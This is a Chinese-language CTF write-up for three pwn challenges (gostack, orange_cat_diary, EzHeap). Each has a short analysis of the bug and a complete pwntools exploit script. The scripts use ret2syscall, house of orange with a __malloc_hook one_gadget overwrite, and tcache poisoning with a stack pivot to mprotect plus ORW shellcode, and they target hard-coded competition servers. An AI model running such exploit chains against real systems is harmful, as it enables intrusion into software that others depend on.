gostack

栈溢出,存在一个可以执行的命令的backdoor函数,用了下有些问题,就打ret2syscall了,栈上有一个strings结构体要伪造一下,syscall read到一个可以写的段,写binsh然后syscall execve getshell

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.133.9"
PORT = 17425

elf = context.binary = ELF('./gostack')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


rax = 0x000000000040f984
rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
rsi = 0x000000000042138a
rdx = 0x00000000004944ec
syscall = 0x0000000000404043
bss = 0x564000

payload = b'a' * 0x100 
payload += p64(bss + 0x50) 
payload += p64(0x50) 
payload += b'a' * 0x20 
payload += p64(bss) 
payload += p64(0x100) 
payload += b'a' * 0x90
payload += p64(rdi_r14_r13_r12_rbp_rbx) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0)
payload += p64(rax) 
payload += p64(0) 
payload += p64(rsi) 
payload += p64(bss) 
payload += p64(rdx) 
payload += p64(8) 
payload += p64(syscall)
payload += p64(rax) 
payload += p64(0x3b) 
payload += p64(rsi) 
payload += p64(0) 
payload += p64(rdi_r14_r13_r12_rbp_rbx) 
payload += p64(bss) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64(0)
payload += p64(rdx) 
payload += p64(0) 
payload += p64(syscall)

sla('message',payload)
# g(p)


time.sleep(0.3)
s(b'/bin/sh\x00')




p.interactive()

orange_cat_diary

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_B26(a1, a2, a3);
  puts("Hello, I'm delighted to meet you. Please tell me your name.");
  memset(s, 0, 0x20uLL);
  read(0, s, 0x1FuLL);
  printf("Sweet %s, please record your daily stories.\n", s);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 2 )
        break;
      show();
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        delete();
      }
      else if ( choice == 4 )
      {
        edit();
      }
    }
    else if ( choice == 1 )
    {
      add();
    }
  }
}

int menu()
{
  puts("\n##orange_cat_diary##\n");
  puts("1.Add diary");
  puts("2.Show diary");
  puts("3.Delete diary");
  puts("4.Edit diary");
  puts("5.Exit");
  return printf("Please input your choice:");
}

__int64 sub_DE9()
{
  if ( dword_202014 > 0 )
  {
    fwrite(ptr, 1uLL, dword_202058, stdout);
    --dword_202014;
  }
  puts("Diary view successful.");
  return 0LL;
}

__int64 sub_D83()
{
  if ( dword_202010 > 0 )
  {
    free(ptr);
    --dword_202010;
  }
  puts("Diary deletion successful.");
  return 0LL;
}

__int64 sub_CD9()
{
  int choice; // [rsp+4h] [rbp-Ch]

  printf("Please input the length of the diary content:");
  choice = get_choice();
  if ( dword_202058 + 8 < (unsigned int)choice )
  {
    puts("The diary content exceeds the maximum length allowed.");
    exit(1);
  }
  puts("Please enter the diary content:");
  read(0, ptr, choice);
  puts("Diary modification successful.");
  return 0LL;
}

__int64 sub_BF5()
{
  int choice; // [rsp+4h] [rbp-Ch]

  printf("Please input the length of the diary content:");
  choice = get_choice();
  if ( (unsigned int)choice > 0x1000 )
  {
    puts("The diary content exceeds the maximum length allowed.");
    exit(1);
  }
  ptr = malloc(choice);
  if ( !ptr )
  {
    puts("Memory allocation failed.");
    exit(1);
  }
  dword_202058 = choice;
  puts("Please enter the diary content:");
  read(0, ptr, dword_202058);
  puts("Diary addition successful.");
  return 0LL;
}

利用堆溢出打house of orange拿到unsortedbin得到libc基地址,之后用那一次uaf的机会任意地址分配,错位字节绕过size检查 打malloc_hook为 one gadget就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.128.251"
PORT = 43423

elf = context.binary = ELF('./orange_cat_diary')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
p.sendafter = lambda x, y: p.sendafter(x, y)
p.sendlineafter = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
    p.sendlineafter("Please input your choice","1")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)

def show():
    p.sendlineafter("Please input your choice","2")

def delete():
    p.sendlineafter("Please input your choice","3")

def edit(size,content):
    p.sendlineafter("Please input your choice","4")
    p.sendlineafter("Please input the length of the diary content:",str(size))
    p.sendafter("Please enter the diary content:",content)


ru("Hello, I'm delighted to meet you. Please tell me your name.")
payload = b'\x00' * 0x1f
s(payload)


add(0x38,b"AAAA\n")
edit(0x40,b"A" * 0x38 + p64(0xfc1))

add(0x1000,b'A') # hosue of orange
add(0x408,b'A')

show()


r(6)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d0365c5141 - 0x73d036200000)
success(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL


add(0x68,b"BBBB\n")
delete()

edit(0x68,p64(malloc_hook - 0x23))
add(0x68,b"BBBB\n")
one_gadget = libc_base + 0xf03a4
add(0x68,b"a" * 0x13 + p64(one_gadget))



p.sendlineafter("Please input your choice","1")
# g(p)
p.sendlineafter("Please input the length of the diary content:",str(0x8))



p.interactive()

EzHeap

题目的逻辑是这样的

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-34h] BYREF
  __int64 v4[6]; // [rsp+10h] [rbp-30h]

  v4[5] = __readfsqword(0x28u);
  init();
  seccomp_init_0();
  v4[0] = (__int64)malloc_heap;
  v4[1] = (__int64)free_heap;
  v4[2] = (__int64)edit_heap;
  v4[3] = (__int64)show_heap;
  v4[4] = (__int64)exit_programe;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 <= 0 || v3 > 5 )
      puts("Invalid choice");
    else
      ((void (*)(void))v4[v3 - 1])();
  }
}

unsigned __int64 malloc_heap()
{
  unsigned int size; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 79 && *((_QWORD *)&chunk_list + i); ++i )
    ;
  if ( i <= 79 )
  {
    printf("size:");
    __isoc99_scanf("%d", &size);
    if ( size >= 0x501 )
    {
      puts("error");
      exit(0);
    }
    *((_QWORD *)&chunk_list + i) = malloc((int)size);
    memset(*((void **)&chunk_list + i), 0, (int)size);
    size_list[i] = (int)size;
    printf("content:");
    read(0, *((void **)&chunk_list + i), (int)size);
  }
  else
  {
    puts("full heap! ");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 free_heap()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
  {
    puts("error!");
    exit(0);
  }
  free(*((void **)&chunk_list + (int)v1));
  *((_QWORD *)&chunk_list + (int)v1) = 0LL;
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 edit_heap()
{
  unsigned int idx; // [rsp+0h] [rbp-10h] BYREF
  unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("idx:");
  __isoc99_scanf("%d", &idx);
  if ( idx > 0x4F || !*((_QWORD *)&chunk_list + (int)idx) )
  {
    puts("error!");
    exit(0);
  }
  printf("size:");
  __isoc99_scanf("%d", &size);
  if ( size >= 0x501 )
  {
    puts("error");
    exit(0);
  }
  printf("content:");
  read(0, *((void **)&chunk_list + (int)idx), (int)size);
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 show_heap()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
  {
    puts("error!");
    exit(1);
  }
  printf("content:");
  printf("%s", *((const char **)&chunk_list + (int)v1));
  return v2 - __readfsqword(0x28u);
}

void __noreturn exit_programe()
{
  exit(0);
}

有一个只允许orw的沙箱,glibc 2.35,存在堆溢出,首先是构造堆叠泄露libc基地址 tache key 和堆基地址,然后利用溢出打两次任意地址分配的tcache poison,第一次泄露出environ得到栈地址,然后找到栈帧的rbp和返回地址的位置,栈迁移到堆上rop,之后mprotect变成shellcode版本的orw

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./EzHeap')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
    sla("choice","1")
    sla("size:",str(size))
    sa("content:",content)

def delete(idx):
    sla("choice","2")
    sla("idx:",str(idx))

def edit(idx,size,content):
    sla("choice","3")
    sla("idx:",str(idx))
    sla("size:",str(size))
    sa("content:",content)

def show(idx):
    sla("choice","4")
    sla("idx:",str(idx))


for i in range(6):
    add(0x88,"AAAAAAAA")

# 6 - 12 tcache
# 13 heap overlap
# 14 chunk
# 15 unsorted bin
    


for i in range(11):
    add(0x88,"BBBBBBBB")    

edit(12,0x90,b'A' * 0x88 + p64(0x101))

for i in range(6,13):
    delete(i)

delete(15)
delete(13)

add(0xf8,"BBBBBBBB")
edit(6,0x120,b'B' * 0x120)
show(6)


ru(b"B" * 0x120)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7dcae2a1ace0 - 0x7dcae2800000)
success(hex(libc_base))
edit(6,0x120,b'B' * 0x118 + p64(0x91))

environ = libc_base + libc.sym['__environ']
mprotect = libc_base + libc.sym['mprotect']

for i in range(7):
    add(0x88,"AAAA")

add(0x88,"BBBB")

delete(16)
edit(6,0x1b0,b'B' * 0x1b0)

show(6)
ru(b'B' * 0x1b0)
leak = u64(p.recv(5).ljust(8)) << 12
heap_base = (leak & 0xffffffffffffff) - (0x57c9c5039000 - 0x57c9c5037000)
success(hex(heap_base))


edit(6,0x1b8,b'B' * 0x1a8 + b'B' * 8 + b'B' * 8)
show(6)
ru(b'B' * 0x1a8 + b'B' * 8 + b'B' * 8)
key = u64(r(8))
success(hex(key))

edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(heap_base >> 12))


add(0x88,"BBBB") # 16
add(0x88,"CCCC") # 17


delete(17)
delete(16)

pos = heap_base + 0x2940
target = (environ - 0x80) ^ (pos >>12)
edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(target))



add(0x88,"DDDD")
add(0x80,"D" * 0x80) # 17
show(17)
ru(b"D" * 0x80)

leak_stack = u64(r(6).ljust(8,b'\x00'))
success(hex(leak_stack))

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
mprotect = libc_base + libc.sym['mprotect']
leave_ret = libc_base + 0x000000000004da83


rrr = heap_base + 0x2aa8 + 0x8


payload = p64(pop_rdi_ret) + p64(heap_base) + p64(pop_rsi_ret) + p64(0x21000 + 0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect)
payload += p64(rrr)
payload += b'./flag\x00\x00'

payload += asm(f'''
mov rdi,{rrr - 0x8}            
mov rsi,0
mov rax,2
syscall

mov rdi,3
mov rsi,{rrr - 0x100}
mov rdx,0x40
mov rax,0
syscall

mov rdi,1
mov rsi,{rrr - 0x100}
mov rdx,0x40
mov rax,1
syscall


''')


payload_addr = heap_base + (0x6219f663ba60 - 0x6219f6639000)
add(0x200,payload)


edit(6,0x100,b'a' * 0x88 + p64(0x91) + b'\x00' * 0x10)

delete(16)
delete(14)


rbp = leak_stack - (0x7ffedc8a1868 - 0x7ffedc8a16f0)
pos = heap_base + (0x56576dc75820 - 0x56576dc73000)
target = rbp ^ (pos >> 12)
edit(6,0x100,b'a' * 0x88 + p64(0x91) + p64(target))



success(hex(leak_stack))
add(0x88,p64(0x114514) * 2)
# g(p)
add(0x88,p64(payload_addr - 0x8) + p64(leave_ret))





p.interactive()
⬆︎TOP